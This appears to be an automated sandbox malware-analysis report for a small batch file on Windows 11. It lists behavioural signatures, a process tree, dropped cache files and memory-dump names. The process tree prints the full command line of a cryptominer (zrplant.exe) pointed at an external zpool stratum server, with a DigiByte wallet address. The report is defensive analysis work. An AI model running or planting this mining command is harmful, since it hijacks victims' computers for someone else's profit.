Analysis

  • max time kernel
    898s
  • max time network
    899s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 11:17

General

  • Target
    amz(Copy 21).bat
  • Size 144B
  • Sample261002-ndynyahd24
  • SHA256 a8492870164796ca0a31571503d8bae46236df249f2581e968bd6edc9cbc9014
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 44 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\amz(Copy 21).bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Users\Admin\AppData\Local\Temp\zrplant.exe
      zrplant.exe -a minotaurx -o stratum+tcp://minotaurx.eu.mine.zpool.ca:7019 -u dgb1qs6n8mf8rwerfd872awwyp3pmy5uuv80gwg7z0m -p c=DGB,zap=MAZA -t 4
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3688
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3908
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:5512
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4352
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3836
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2312
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:6060

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 607B
            • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            memory/3688-34-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-36-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-0-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-5-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-6-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-7-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-8-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-9-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-10-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-11-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-12-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-13-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-14-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-15-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-16-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-17-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-18-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-19-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-20-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-21-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-22-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-23-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-24-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-25-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-26-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-27-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-28-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-29-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-30-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-31-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-32-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-33-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-4-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-3-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-43-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-37-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-38-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-39-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-40-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-41-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-42-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-35-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-44-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-2-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-1-0x0000016ED8A00000-0x0000016ED8A20000-memory.dmp

            memory/3688-255-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-254-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-253-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-252-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-251-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-239-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-240-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-241-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-242-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-243-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-245-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-246-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-247-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-248-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-249-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/3688-250-0x00007FF76AA70000-0x00007FF76B21D000-memory.dmp

            memory/4352-112-0x000001B8142B0000-0x000001B8142D0000-memory.dmp

            memory/4352-79-0x000001B813EC0000-0x000001B813FC0000-memory.dmp

            memory/4352-93-0x000001B803A90000-0x000001B803AB0000-memory.dmp

            memory/4352-78-0x000001B803AB0000-0x000001B803AD0000-memory.dmp

            memory/4352-66-0x000001B8001E0000-0x000001B8002E0000-memory.dmp